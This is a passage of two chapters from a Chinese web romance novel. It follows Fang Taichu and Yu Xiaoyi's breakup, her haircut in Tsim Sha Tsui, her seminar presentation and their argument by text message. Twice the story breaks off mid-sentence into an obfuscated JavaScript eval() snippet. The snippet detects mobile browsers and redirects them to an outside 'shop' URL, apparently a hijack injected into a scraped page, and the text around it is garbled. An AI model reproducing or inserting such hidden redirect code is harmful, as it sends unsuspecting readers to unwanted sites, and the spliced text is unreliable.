什么东西?她不会是为了他一夜白头了吧?虽然这样的事在现实中也不是没可能,但……怎么会!只是一个男人而已!她方太初会为一个男人一夜白头? 如果是真的,她现在就死这儿算了。 反正传出去她也没法活了。 直到自己狼狈又浮肿的面孔出现在镜子里,她才发现那处所谓的白,不过是糊了一块纸巾而已。 昨晚哭了太久,抽纸就用了大半包。 一颗心终于又落了下来。 “我吓你的。”曹旸跟上来,和镜子里的她四目相对,“但是不是好多了?” 小初沮丧地瞪她一眼:“要不是打不过你,我真想揍你一顿。” 曹旸笑,偏头问她:“吵架了?” “没。”小初打开水龙头,用冷水洗了把脸,脑子顿时清明了许多。 “是分手了。” “分手?”曹旸脑子里不自觉闪过无数条两人爱得轰轰烈烈的证据,“年轻气盛的情侣吵架是这样的,很容易没轻没重。但分手这两个字还是要慎用,因为真的很伤感情。” 小初的眼泪又要不争气地往上涌,她赶紧又往脸上泼了点冷水,“曹旸姐,我没开玩笑,真的分了,而且是他提的。你也知道,他不是那种沉不住气的男人,所以这次是认真的。” “他提的?”曹旸愣住,“那你怎么想?” “我尊重他选择。”小初抿了抿唇,“一直没跟你说,我妈年轻时候的初恋到现在还没结婚呢,前些年还总时不时约我妈吃个饭,表达一下他的痴心和守候,直到这两年才消停一些。你是不是觉得这样的人很长情,很令人感动?” 曹旸没答,因为她知道她说这个并不是想听她的答案。 “但对我而言,这样的人只会让人不胜其烦,【保持死一样安静】才是分手后的前任该有的格调,我怎么想不重要,重要的是,我该怎么做。”小初的眼神有些伤感,却又格外认真,“曹旸姐,陪着我,捱过这一段,后面会好的。” 曹旸点点头,“那我们下午去干嘛?” 小初想了想:“去剪头发吧,我来香港四个多月没进过一次理发店,头发都快及腰了。把这些烦恼丝处理一下,脑子也能清楚不少。剪完头发我们就去学校找个自习室复习,我导师交给我的作业还有一点没完成呢。” 手里电动牙刷的震动声响起。 “好。” 坐到餐桌边,程医生又给小初量了次体温。 已经不烧了。 程医生说如果没什么事她和方总请示一下就赶下午的航班回北京了。 小初这才想起她爸这茬来,拿起手机发消息过去:【爸,那姓赵的,是您让他加我的?】 方协文回得很快,第一条:【怎么一天不联系,一联系就质问起你爸来了?有没有礼貌。】 第二条:【身体好点没有?接下来你务必给我好好吃饭和运动,绝不能再动不动就晕了。你知不知道你昨天把你妈妈吓成什么样了?花瓶掉下去到底有块碎片飞到脚踝上了,怕我们担心她愣是没说,还是后面我才发现的。】 小初沉默了一会儿。 这男人看着是在关心她,却怎么又感觉处处都在替他老婆鸣不平? 【您就说,是不是您让他加的?您什么意思啊?我跟他就一工作上的关系,有必要加私人微信吗?】 方协文回:【我昨天刚好在一个私人局上碰到他了,因为有他家长辈在场嘛,聊起来就顺嘴说了句,以后你们年轻人多交流,这也没毛病吧,就是句客气话。怎么了?那小子骚扰你了?我跟你说那可不行啊!管他是谁敢骚扰我闺女!】 原来是这样。 小初的心这才熨帖了一点。 【骚扰谈不上,但确实挺困扰。爸,我最讨厌别人摆布我,所以请您千万别干涉我的交友自由,不然我真发起疯来得罪了不该得罪的人,您可就得不偿失了。】 【……】方协文很无语,【去去去,吃你的饭,读你的书去,小崽子,我开一上午会,正被那帮猪一样的下属气得脑仁疼呢,怎么你跟他们是一伙的吗?】 小初在他看不见的地方冷哼一声。 然后下一秒,她的报应就来了。 【你那小男友怎么样了,车祸伤得不严重吧?】 悲伤忽地一下涌了上来,瞬间席卷她所有伪装的坚强。 意识到什么不对的她立刻放下筷子向卫生间跑过去,还没有找好合适的姿势,就抱着马桶吐了个昏天暗地。 曹旸几个人赶紧都跟了上去,各个吓得面色如霜。 程医生帮忙拍着背,不动声色和曹旸交换了个眼神。 小初吐到嘴巴发苦才停下来,鼻涕眼泪糊了一脸。 停下来的第一句话就是:“你们别担心,我没怀孕。我身上经期还没结束呢。可能就是吃得太快了,胃没适应节奏。” 曹旸这才长舒了口气。 阿姨也说:“那我再去煮碗软一点的面条。” 程医生小心将她扶起来,“可能跟感冒也有点关系,人生病的时候,肠胃都有些脆弱。” 小初点点头。 漱了口再次坐到餐桌边,没几分钟阿姨的面条就端了上来。 很清爽的一碗素面,面汤看着很诱人。 可小初实在没胃口,胸口像是被谁坠了铅块,压得她喘不过气来。但最后,她还是乖乖把一整碗面都吃了。 大概是物伤其类,曹旸实在看不下去,按住她的手,“吃不下就别吃了。” “我得吃曹旸姐。”小初抬头,尽量让自己看起来云淡风轻,“我得让自己快点好起来,马上就是考试周了。” 曹旸点头。 下午出门时,小初特意给自己化了个稍微浓一点的妆,遮盖住疲惫的脸色和下眼睑的黑影,眼线微微上挑,在眼尾处稍作晕染,睫毛卷翘而根根分明,像个野蛮又有生命力的猫女。 为了配合妆容,她选的是条宽松的灰色上衣,行动间刚好可以露出半个肩膀,下面搭配的黑色紧身破洞牛仔裤,中间又用黑色皮质腰封重新分割了一下身体比例,味道顿时就对了。 这样的装扮不是她平时的穿衣风格,但今天,她就想做个叛逆少女,谁的脸色也不想看。 “酷。” 她一出来,曹旸就挑眉吹了个口哨。 成功把她逗笑。 “还可以吗?” 曹旸说:“别问了小姐,做我们这行很忌讳和客人发生感情的。” 小初差点笑出眼泪,顺手扯过一个紫色的猫耳朵耳机戴在头上,两人就出了门。 今天的音乐有点吵。 现在的音乐软件真的很冒犯,她真的很想问问,它到底哪来的底气猜她喜欢的,而且还猜得这么不准? 这么久了,她还是听不懂粤语。 直到打开歌词,才看清楚,是周柏豪的《我不要被你记住》。 谁又希罕嘉许 谁须要日后被谁记住 谁贪你想起我的好处 我用施予当做赌注 难博到轰烈地同住 她的确不贪他会记住她什么好处,说什么回味此生,分手就是分手,说那些自我感动的话有什么意思。 赶紧按下切换键。 结果下一首也没有好到哪里去,张敬轩的《未知》。 间奏的钢琴声在降噪耳机里像是一场专门针对她的围剿,根本就没有撑到听完整首,她的世界秩序就已经开始崩塌。 余萧弋在杨敏中生日派对上穿复古西装的样子像老房子漏雨被淋湿的电影录像带,不停在她脑海中出现又消失,直至变成一片噪点。 小初用力眨了眨眼睛,差点以为自己失明了。 吓得她不得不切换到了欧美频道,连着听了好几首歌词露骨到完全不能进入语言翻译系统的“小甜歌”才缓过神来。 手机短信显示她的银行卡到账了六十万。 汇款人正是亦方。 小初不明所以,截图给她爸,问对方这是什么意思。 【你的广告劳务费。按照时下二三线的明星单条广告的报价批的,接下来如果市场反馈好,就把未来两年的长线合作都签给你,两年五百万,方小姐觉得怎么样?】 小初的心情顿时明媚了起来,说谢谢方总给机会。 【好好读书,人家明星有市场影响力,而你身上最闪闪发光的标签就是高智千金了,人本质上还是慕强,别得意忘了形,最后博士毕不了业。】 【……方总放心。】 【到时候别忘了申报个人所得税。】 小初说记住了,然后静静把目光转向车窗外。 香港这两天的天气确实不错,整个城市都像被太阳镀了层金边。 四个月以来的温柔岁月如浮光掠影,很快就要变成了回忆了。 可在生活的主题面前,她还没理由消沉。 尽管,心还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027055|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空了很大一块。 有风在肆虐。 曹旸把车子停到尖沙咀一家看着环境还不错的理发店前。 小初知道一般这种店里级别比较高的发型师都是预约制的,好在她只想剪短,并没有太多设计上的要求,所以也没有事先做攻略。到了店里,她就跟接待她的人员直接表达了她的想法。 本以为只是一场再简单不过的对话,不想对方竟认出了她,说什么都要请她到楼上VIP区稍作休息,并说他们总监马上就会来为她服务。 小初有些为难:“可是我赶时间。” 对方莞尔,极力用不熟练的普通话表达着他的热情:“不会久的,上面还有一个客人就到方小姐你啦。你稍坐,我们这边的咖啡很不错,要不要给你和旁边这位小姐每人来一杯?” 见她犹疑,对方又说:“你放心,我们总监技术很OK,好多明星都来找他做造型的,而且要提前预约。今天你运气不错,刚好他有个客人临时有事,空出一个名额。” 小初看了曹旸一眼,见对方微微点了头,才放心下来。 两人跟着工作人员上了楼。 然后才发现,楼上才是别有洞天,偌大的空间装修极为现代奢华,却安安静静,基本没有什么客人。 很快就有工作人员送来了咖啡零食和水果。 被人前簇后拥细致服务的感觉倒也不坏,小初索性选择安之若素。 没等半个钟,上一个客人就做好了造型,从另一个区域向休息区走了过来。 小初听见了一串脚步声,但她正在看平板里的Paper,也就没有关注太多。 直至对方喊出了她的名字,“方太初,你怎么在这?” 声音很熟。 还未抬头,小初已经认出来人。 陈嘉言。 如果没猜错,她身边应该还有,池咏珊?这一对好友,向来形影不离的。 这世界怎么就这么小? 小初机械地抬起头来,又机械地笑笑,算是打过招呼。 陈嘉言兴奋极了,一直拉着她说话:“你还没说呢,你怎么在这,Theo来了吗?他已经……”意识到这里是公共场所,她立刻低下声来,“他出院了是吧?情况好多了吧?” 小初心里一阵钝痛,脸色有点泛白,“他没来,人还好。” 池咏珊刚做完造型,整个人都散发着一股很特别的香味,不知是不是头发上用了什么高级产品。 “我听铭仔说你是昨天特地赶回来的?” 小初点点头。 “这个家伙,真是多事,难怪Theo特别嘱咐不能让他知道真相。我们要是告诉Theo是他从中作梗把你提前喊回来的,Theo准会被气死,他本就怕你担心。” 电光火石之间,小初已经明白了怎么回事,试探着问道:“你们事先都知道?” “对啊。”陈嘉言神神秘秘的,“不然我们为什么都没有去国外度假。” 小初的脸色又白了一寸。 原来,他只是单独瞒着一个她。 哦,不,还有一个铭仔。 这说明,她和铭仔他心里一样,都是不能和他并肩作战的人。 说什么欣赏和尊重,到头来,还不是把她看成一只需要他保护永远没资格得知真相的猫? 池咏珊说:“你别怪Theo瞒着你,他和那边迟早有这么一次,好在,阿骢不负众望。” 小初不说话了。 陈嘉言又问:“你要剪头发?” “嗯。”小初笑笑,“剪到肩膀以下一点。” “为乜嘢?”陈嘉言调侃,“为了忘记什么人吗?” “差不多。”小初本没往那方面想,但此刻却觉得她说得特别对。 “边个?”她笑嘻嘻拿出手机,给余萧弋发语音过去,“Theo,猜我在尖沙咀碰见谁了?你今天在忙什么?怎么都没陪你老婆?” “喂!”小初万没想到事情会发展成这样,想拦住她却已经来不及了。 因为陈嘉言的视频已经拨了过去,并且那边很快就按了接听。 小初忽地一下红了脸。 不仅如此,连同露在空气中的那半个肩膀也没能幸免。 池咏珊看她这副模样,还以为她在害羞,忍不住用手戳了戳她的脸颊,逗她:“我真的很好奇,你们俩是怎么做到认识这么久了,看到对方还能脸红的?童话故事啊?以后王子和公主幸福地生活在一起之后的剧情就由你们来演了,记得演得甜一点,我想看。” 小初不理她,只是偏了偏头。 然后她这副小猫女的形象就落在了摄像头的捕捉范围里。 通过视频通话画面,她看见他正躺在他们之前一起躺过的客厅地毯上,身上还穿着昨晚那身衣服,头发有点乱,眼睛里都是红血丝。 小初只看了两秒,就匆匆别开了视线,生怕眼泪会不听话地出卖她所有心事。 手机屏幕里的少女正微微蹙眉看向一边,却不掩她乌发雪肤,肩颈瘦削,宛如一幅极具东方色彩的画,轻轻几笔,勾勒出的就是动人心弦的韵致。 余萧弋根本说不出话了。 从昨晚到现在,他就没怎么睡觉和吃东西,原以为她也会和他一样痛不欲生,想不到,人家已经收拾好心情出门逛街了。 而且,打扮得比平常还要漂亮,他甚至都没有见过她这副香肩半露的动人模样。 她好狠的心。 一个人怎么能狠到这种程度? 他气得几乎要咯血。 陈嘉言说:“我们在理发店呢,方太初说要把头发剪短个几英寸。”她大笑,“说是为了忘记什么人。Theo余,她说的,该不会就是你吧?” “别乱开玩笑!”池咏珊看出了不对劲,赶紧制止她的胡言乱语,并缓和气氛道:“Theo,晚上我请大家吃饭,就当为方太初接风,你收拾一下,然后商量看看你们想吃什么,我叫人订位。” 那边余萧弋还没说话,小初却不得不谢绝:“感谢你好意,但实在抱歉,我稍晚还有事,可能去不了,你们玩得开心。” “好啊,我们去。”余萧弋笑得万分迷人,“餐厅你挑,我随意。顺便,多喊几个朋友。” 池咏珊若有所思地看了看两人。 小初窘迫万分,恨不能原地消失。 还好理发师走过来替她解了围,“方小姐想剪多短?” “肩膀位置可以吗?” 对方用手捋了捋她的头发,不无可惜,“留这么长用了很久时间吧?” 小初点头:“是,不过很多东西当断则断,纠结没有意义,刚好也借机好好改变一下自己。” 理发师笑,“也的确,看得出来,方小姐是个极自由洒脱的人。” 池咏珊眼疾手快,即刻将视频点击了挂断。 小初和她们微微欠了欠身,就跟理发师往里面去了。 没了余萧弋,她和她们的生活也不会再有交集,那就……这样吧。 当天晚上,正在自习室忍着头疼复习的小初收到了萧文然的消息,说要她过两天和Theo一起回家过新年,还问她想吃什么,她好提前准备。 她对着那条消息看了很久,也没想好怎么拒绝。 最后只好把李湛和谢令妤拉出来做挡箭牌,虽然她的确想去看他们,【不好意思文然阿姨,那天我可能要去陪我干妈,我说的是谢导,谢令妤,您应该知道,她元旦后电影杀青就要离开香港回美国了。】 【那好吧。我听说那天晚上维港有烟花秀,你和Theo回头自己去看好了,饭我们可以提前或者推后一天吃,反正都是自家人,团圆的意义比较重要,时间点倒是其次。】 这下,小初是真的不知道怎么回了。 双方父母毕竟是多年好友,很多事,她也不敢做得太难看。 于是只能把这条消息截图发给余萧弋:【麻烦,你抽个时间把我们的事和家里说一声。】 【我没空。】 余萧弋的语气生硬至极。 小初习惯了他的温柔,对这样冰冷尖锐的他感到很陌生。 下一句,他仍是冷嘲热讽,【方小姐Move on的速度挺让人佩服的。】 小初的眼泪又开始不听话地往外涌。 她怎么会不知道他现在也不好过? 今天在视频里,她看得很清楚,他的狼狈完全不输昨晚的她。 【哥哥,别这样。】 她慢慢趴在了自习室的桌子上,【别让我们连朋友都没得做。】 那边不说话了。 【你好好吃饭,多保重自己,虽然分开了,但我还是希望我们都好好的,各自都能有更好的发展。】 余萧弋说:【没你方小姐那么洒脱。】 小初终于被他惹生气了,明明说分手的人是他,现在又跟她发哪门子的脾气? 还真把她当成他的猫了吗?只能任他磋磨吗? 【那你就学着点。】 【……】 接下来的半个月,两人各忙各的,再没见面。 直至小初去系里向史密斯汇报学习成果,在小报告厅门口迎面和他撞上。 若非如此,她差点都忘了,他和她师出同门,不仅是她的师兄,还是他们小组助教的这回事。 “方小姐。”他垂眸静静看了她几秒,似笑非笑,“好久不见。” 是好久不见了。 如果一日等于三秋,那他们上次见面已经是半个世纪以前的事了。 他瘦了好多,眼睛比原来看着更深邃了。 小初不敢多看,生怕自己被他眼底危险的漩涡吸进去,赶紧轻咳一声别开了视线。 喊了声,“余学长。” 余萧弋仍是笑,“方小姐是不是今天过后就要离开香港了?” 小初呼吸一滞,点点头,“差不多。” “那我今晚把港港和Enzo给你送过去。” “你……”小初微怔,“真的舍得?” “有什么舍不得?”他嘲讽,“不属于自己的,强求也没用。” 小初不说话了。 史密斯和另外一个教授从办公室方向走过来,一瞥见他们身影就蹙起了眉,“你们俩有什么话在家说不完,非要留到这说?都几点了方太初你还不进去做准备?” “教授……” 小初刚要解释,却被余萧弋打断,“时间确实差不多了,祝你好运,F Junior。” “多谢你。”小初弯唇浅笑,无比真诚。 “Theo Yu。” 100.第 100 章 “对了。”在她转身前,余萧弋突然又叫住她,“前两天发给你的邮件有收到吗?” “说起这个。”小初微微欠了欠身,唇角依旧是无懈可击的弧度,“我倒忘了跟你多说声谢谢,费心了余学长。” 她确实在三天前收到过他的一封邮件,标题没有任何提示性信息,附件里的推广定理却和史密斯布置给她的那篇论文高度相关。 换句话说,他竟然……帮她做了份结课作业。 这就意味着,哪怕她在dead line之前一个字都没写出来,只要把这个东西copy过去提交给系里,也能蒙混过关。 史密斯这次交给她的任务难度极高,说是地狱级别也不为过。 导致她在引言阅读和模块研究上就耗费了近一个月的时间,为了验证作者的某些观点,她又重新进行了很多计算,结果低级错误犯了一堆,中间甚至几度停滞不前。 当然,这和她这几个月身体和情绪都严重被这段恋情影响也有关系。 可他余某人和她的谈的不是同一段恋爱吗?她所经历的每一件事,他不也都有参与其中吗,他是什么时候开始接触这篇文章的? 时间管理大师?每天被那么多繁琐的事牵扯着,竟然还能潜下心来做研究?怎么她这个当事人如此举步维艰,他作为局外人倒这么游刃有余? 她当时对着电脑屏幕发了半晌的呆,也没想通他发这个东西给她是什么意思,是分手礼物还是在跟她炫耀他的学术水准。 无论哪一样,出发点都挺令人费解的,他还真是,费心了。 或者说,还真显着他了。 作为一个合格的前任,他就不能死了一样安静一会儿吗? 史密斯这种二十五岁就在麻省理工开过讲座的天赋型选手,虽然跟学生讲话的风格刻薄了一点,但什么时候在学术上故意难为过人?之所以给她布置这种难度的任务,本质上不还是认可她的能力吗? 这一点,余萧弋作为他的得意门生,竟然看不穿? 她之前也确实和他抱怨过,说别人六个月都未必能通读下来的文章,史密斯只给她三个月是不是想要她的命。 他该不会是因此当了真吧? 小初心里冷笑,他还真是处处都对她充满不信任啊,之前觉得她没资格和他并肩作战就算了,现在竟然连她的专业水平都开始质疑了。 余萧弋因她的客气和疏离静默了几秒,然后才解释,“不必放在心上,这是我之前就答应你的。但是你千万别误会,我不是不相信你的能力,只是给你提供一种思路,万一时间真的来不及……毕竟这件事我也有责任。” “余学长。”小初打断他,“我要进去了,不然一会儿教授要发火了。” 余萧弋抿抿唇,终于不吭声了。 小初轻笑,“还有,我还是希望自己无论做什么都担得起实至名归四个字。收到你那封邮件之前,我就已经把我的报告发给教授了,很遗憾,咱们俩看起来是真的没有什么默契,我拆分出来的那个方向和你的可以说是南辕北辙。” 余萧弋僵住。 “虽然,我认真看了一下,你的思路和想法也挺有探讨性的。我建议,你也可以把那份报告直接提交给教授,听听他是什么意见,说不定可以试着往数学年刊上投一投。” “你随意。”小初点点头,大步向小报告厅里面走去。 根据抽签结果,她今天要第一个做成果汇报。一般而言非毕业生是不需要论文答辩的,但史密斯毕竟不是一般人,而这个课程是他亲自设计的,作为数学系主任,他当然有权以任何方式考察他的学生。 余萧弋在走廊里心情阴郁地看了会儿外面历史气息浓厚的建筑和无精打采的树,才鼓足勇气推开报告厅的门。 他今天当然不是必须来的旁听的,可也不知为什么,他还是来了。 系里的小报告厅,比一个中型的会议室大不了多少,即便如此,也才坐了不到一半的人。想想也不难理解,史密斯的招生标准向来高,有一两年生源不好,他甚至一个学生都没有收。 今年能坐满一半的人,已经是格外的恩慈。 余萧弋在最后一排无人注意的角落找了个座位坐了下来,和所有人都隔得很远。 方太初已经站在讲台上,正在对她的PPT进行屏幕共享。 她今天的穿着打扮照例是最适合她的学院风,浅灰色的及膝百褶裙搭配白色圆领T恤,外面的深灰色针织衫简单大方,衣领,袖口以及下摆处更浅几度的灰色滚边即醒目又清爽。 她的头发果然剪短了,相比之前及腰的长度,现在只到肩膀下面一点点了。 应该就是上次在尖沙咀的理发店剪的。 人家都说,失恋剪头发就是斩情丝,余萧弋苦笑了一下,她到底是有多么迫不及待地想忘记他,分手第二天就给自己设计了一个全新的形象。 不过,倒是还挺衬她的。 她很认真,注意力始终在她的报告上。 很快,史密斯就示意她可以开始了。 因着有不少外籍教授在场,整场报告都是全英文模式。 她的口语是很地道的美式发音。 相比他圈子里更崇尚英校,也更以英式发音为傲的那群富家子,她总是那么随性,务实,或者说,接地气。 也因此处处都很特别,她的个性,语言,思维方式,处世态度,简直无一对他不散发着致命的吸引力。 可即便如此又能如何呢? 他好像永远都抓不住重点,越努力越心酸,越想靠近被推得越远。 包括这一次,他已经意识到,他大概率又把她得罪了。 她的报告很精彩,观点新颖,数据详实,不仅从原文拆分出来的方向和他的不一致,所引用的原理和运用的技术细节,甚至计算的庞大程度,都完全是另外一个量级。 还没汇报完,史密斯就已经跟同僚炫耀上了,脸上那种满意的微笑,就连他都很久没见过。 余萧弋也说不清自己心里现在是个什么滋味。 嫉妒肯定不存在,欣赏和骄傲毋庸置疑,除此之外,他更清晰地感受到的其实是他的不安,正愈演愈烈。 那是一种恐惧失去的感觉,和高空跳伞最初那几十秒带来的心跳失速和呼吸困难很像,一切仿佛突然都失去了意义和希望。 或许这辈子,他都不会再快乐了。因为她就要离开这里,永远地抛弃他了。 余萧弋的视线逐渐模糊了。 报告结束,掌声响起。 他也跟着机械地鼓了掌。 小初再次弯腰致谢,先感谢了史密斯,又感谢了好几位给与过她帮助的师兄师姐以及同小组成员。 他仔细听了半天,里面没有他。 不知为什么,他竟然笑了。 小初收起电脑,走下讲台。 她的视力太好,小报告厅也不算大,所以尽管隔着点距离,她还是敏锐捕捉到了坐在最后一排的余萧弋脸上复杂难懂的笑容。 她当然懂他此刻在想什么。 前几天提交报告的时候她也考虑过,要不要把他的名字加进感谢名单里,可转念一想又觉得这事太难为情,很容易给别人错误的信号。 这底下坐着的都是同门,就算他本人不来,也难保会有多事的人拍照给他,她实在不想他误会她还对他余情未了。 虽然那不一定是误会。 刚走到台下,同组的Cathy就挤眉弄眼地朝她笑道:“方太初,你是不是忘了感谢一个最重要的人?” 一边说,她还一边回过头去朝余萧弋招了招手,“余学长,你坐那么远干什么?” 小初尴尬得几乎没找个地缝钻进去,眼神冷了几分,嗔她:“不许乱开玩笑。” Cathy吐了吐舌头,“有什么可避嫌的,这里谁不知道你们俩的关系?” 小初不想跟外人解释太多,也就没吭声,只是把电脑放在桌面上,贴着过道坐了。 趁下一个学生做准备,史密斯回过头来,突然问道:“方太初,你爸妈生了几个孩子?你有没有兄弟姐妹?” 小初心中诧异,也不知道他这么问是何意,只能如实答了:“没有兄弟姐妹,就我一个。” “哎呀。”史密斯痛心疾首,“那能不能让他们现在赶紧再去生一个继承家业,把你留给学术界?” 小初这才恍然而笑,“大概没办法了,他们已经老了。” 史密斯眨眨眼,“或许另外一个办法也行。” 小初正不明所以,却见他突然和Cathy一样朝最后一排招了招手,“Theo你坐那么远干什么?过来。” 小初的心顿时砰的一声,连呼吸都乱了。 “教授……”她欲言又止,竟不知道该怎么办了。 余萧弋在后排已将他们的对话听了个十成十,这会儿听见史密斯喊他名字,心里大概已经猜到了他要说什么,但他也只微怔了几秒,就从善如流地站起了身,缓步向前走去。 “怎么了教授?” 史密斯恨铁不成钢地看他一眼,指了指小初的位置,“你坐,我有话说。” 小初窘迫得耳垂都红透了,可事已至此,史密斯旁边坐着的又都是业内大佬,她也没法多说什么,只能往里面挪了个位置给他。 余萧弋嘴角勾起一个若有似无的笑,贴着她坐了。 两人的衣袖不小心碰到,小初立刻避嫌似的往里面再挪了一寸,但里面也没有多余的空间给她了,再挪,她就要坐到Cathy的腿上了。 “Theo,你能不能争点气,早点让她答应嫁给你,尽快帮他们方家生一个新的继承人出来?好让她可以把更多的精力用在做学术上?” “……” 小初难以置信,瞬间瞪大了眼睛。 世界崩塌了。 而她被埋在废墟中心,已经无法呼吸了。 “教授!”她气得浑身的皮肤都燃烧了起来,“您好歹也是为人师表的,怎么可以乱讲话!” “我哪里乱讲话?”史密斯大笑,“现在就连街头小报都时不时要写写你们的八卦,这还是什么不能说的秘密吗?” 小初赌气:“这您倒是提醒了我,明天我就……” 她还没说完,余萧弋就接了话过去,语气漫不经心的,“教授,你一个人知道我不争气就算了,非说出来让人难堪干什么。这下好,明天街头小报又有新素材可用了。” 一句话,就把所有人都逗笑。 小初心头一刺,指尖用力抓住了裙摆。 第二个人的报告开始,所有人都噤了声。 时间突然变得很漫长。 他身上熟悉的香水味逐渐密不透风,裹挟着她的身体,侵袭着她的感官,撕扯着她的理智,没一会儿,她就败下阵来,后背出了一层薄薄的汗。 太煎熬了。 她再也承受不住,忍不住发信息给他:【明天我们一起向外界官宣分手吧。】 余萧弋其实在她拿出手机的那一瞬就已经预料到了,但此刻亲眼看见这行字,还是让他一阵难忍的心痛,他缓了半晌,才让自己积攒出和她说话的勇气,回过去:【方小姐不是向来不屑于自证吗?】 小初垂眸,努力忽视眼角余光中他的身影,狠下心去:【但人总要开始新的生活,我们俩都是。】 【新的生活?】余萧弋一怔。 【是。】 【这么快吗?】 【你了解我性格,我不喜欢将情绪耗在已经无意义的事情上。】 余萧弋红了眼睛,又不想她看到,只能强迫自己趴在了桌子上,在底下回她:【对你而言我已经这么快变得没意义了吗?方小姐,你是不是忘了,就在半个月之前,你还一句一句贴在我耳边说爱我呢。】 小初忽地一下红了脸。 余萧弋看见她小腿无意识地叠在了一起。 回忆的风很大,吹乱了他一颗心。 小初想了想,有些无语,【不是你说的分手吗?现在又在这意难平什么?】 余萧弋眼睫一跳,将她的话完整地看了好几遍才回过去,【我说分手你就同意啊!你没有心吗?】 【我尊重你的选择。】 【若我现在又不想分了呢?你也尊重吗?】 小初的脑子里不知被谁点燃了烟花,刹那芳华过后,世界静得出奇。 【余萧弋,你以为你是谁啊,我方太初是你想要就要,不想要就不要的人吗?】 余萧弋被她气得呼吸一紧,【你之前不也说过好几次分手吗?后来又为什么没分成?我余萧弋就是你想要就要,不想要就不要的人吗?】 小初没想到都这会儿了他还有力气和她吵架,心里冷笑一声,【没分成是因为你纠缠我,至于我,每次提分手都是认真的,可从来没有出尔反尔。】 【如果纠缠有用……】余萧弋心头一动,【那我还能再纠缠你一次吗?】 小初眯了眯眸子,【余萧弋,你是不是在试图驯服我?】 【我只是想要你一颗完完整整的心而已。】 小初怔住。 【我想要你爱我,在乎我,眼睛里都是我,以我的心为心,把我的感受放在第一位,我的要求很过分吗?】 小初咬了咬唇:【哥哥你要不要听听你在说什么?】 发完她就意识到了什么不对,赶紧撤回,改成:【Theo余,你要不要听听你在说什么?这世上除了你肚子里蛔虫谁能做到这种程度?】 余萧弋嘴角不自觉翘起来,【撤回干什么,我都看见了。】 小初努力抑制住想要转身过去揍他一顿的冲动:【那你就当你没看见。】 【我不。】 小初努力反省了一下,也没想通事情是怎么发展到这一步的。 她叹口气,【是不是到现在还没明白,我为什么同意分手?】 余萧弋委委屈屈的,【因为你发现除了那个时候在我的蛊惑之下说得出爱我,其他时候根本没有你想得那么爱。】 他有心吗? 小初气急,用力在桌子底下踢了他一脚:【你是智力有什么问题吗?爱是靠嘴说的吗?我不爱你为什么快病死了还要赶飞机回来看你?我不爱你为什么大半夜去你们家哄你爷爷吃了东西才放心离开?】 余萧弋顺势勾住她的脚,任她怎么挣扎都没放开,【如果没记错,你说你是去传播感冒病毒的。】 小初没想到他大庭广众之下敢这么放肆,不禁蹙着眉转过头去,递给他一个警告的眼神。 余萧弋早调整了姿势,换成了单手托腮,见她转眸过来,立刻弯了弯眼角,有些无赖地用唇语说道:“不分手,好不好?” 小初只感觉他在戏耍她,不禁更加生气,也用唇语回敬他:“你做梦。” 余萧弋愣了愣,有些不甘,问她:“为什么?” 小初知道自己挣不脱,索性也不费力气了,就任自己的小腿和他的叠在一起。 三言两语说不清楚,她还是换成发消息给他:【我同意分手是因为你不尊重我,也不相信我。】 【我只说两件事,一,你设计那场车祸只瞒了两个人,林铭锵和我方太初,因为我们在你心里都不堪大用,不能理解你,更不能为你分忧。】 【二,你试图用提分手的方式驯服我向你低头。无论你怎么否认,都改变不了你上位者的高姿态,你想要的不是我爱你,也不是什么一颗完完整整的心,你想要的是控制权,希望我崇拜你,满心满眼都是你,把你视作我的全世界以及生活重心。最好,这辈子我都接触不到除了你以外的其他男人。】 【就这两点,我不可能回头。】 余萧弋有些崩溃:【方太初,你不能这么误解我!车祸的事不告诉你只是因为我不想你担心!那件事我别无选择!至于什么控制权,在咱俩这段关系里,到底谁才是上位者啊!不一直都是你在主导我吗?】 【我误解?】小初做了个深呼吸,【你自己想想,你第几次因为我身边出现的路人甲和路人乙吃飞醋了?从前的梁培风,现在的赵承钰,我以后的工作环境80%都是男人,我难道要每天浪费时间跟你报备我跟谁在一起,出差去哪个城市,一块吃了什么工作餐又聊了什么天吗!你让我太累了!】 【那如果我身边出现一个又一个的女人,你会吃醋吗?】 小初说:【当然不会,因为我知道你是什么人。】 【这就是问题所在,方太初,我给了你足够的安全感,那你呢?】 小初呼吸一滞,【我也给了,是你自己不相信,我有什么办法。】 余萧弋感受着她的体温穿过裤管传进他身体,【你总是太冷静,从来没有恋爱中的女孩子那种百分百投入的状态。】 小初冷笑:【那你要我怎么样?小说女主一样逆来顺受,没有自己的思想和追求,永远瞪着美丽无辜的大眼睛等你拯救和垂怜吗?抱歉,我不做任何人的情趣娃娃。】 【情趣娃娃?】余萧弋被她气得心脏疼,【咱俩到底是谁取悦谁比较多啊,我是你的人形玩具才差不多吧!让你舒服之后最好自己回到柜子里去,永远不要对你提任何情感需求,你只想要这样的一个我对吧?】 小初不敢相信他会对她说出这么露骨的话,再次红了脸,【你给我闭嘴。】 余萧弋从桌下捉住她的手,紧紧握在掌心,【是不是只要我做得到,就可以不分手?】 他突然这么低姿态,倒让小初一愣。 这个傻瓜。 他怎么就那么执着于她把爱表达出来? 她爱他爱得都快失去自我了好吗?这半个月,要不是有学习任务撑着她的意志力,她恐怕早为他得相思病病死了。 她也是后来才意识到,每次碰上和他有关的事,她的身体反应都会出奇地大,包括上次在家里晕倒。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余萧弋慢了几步跟在她后面。他感觉他灵魂都跟着她去了,现在在移动的只是个躯壳。 但没办法,他的生活也不能只有爱情,下午公司有个重要会议,他还是要赶回去参加。 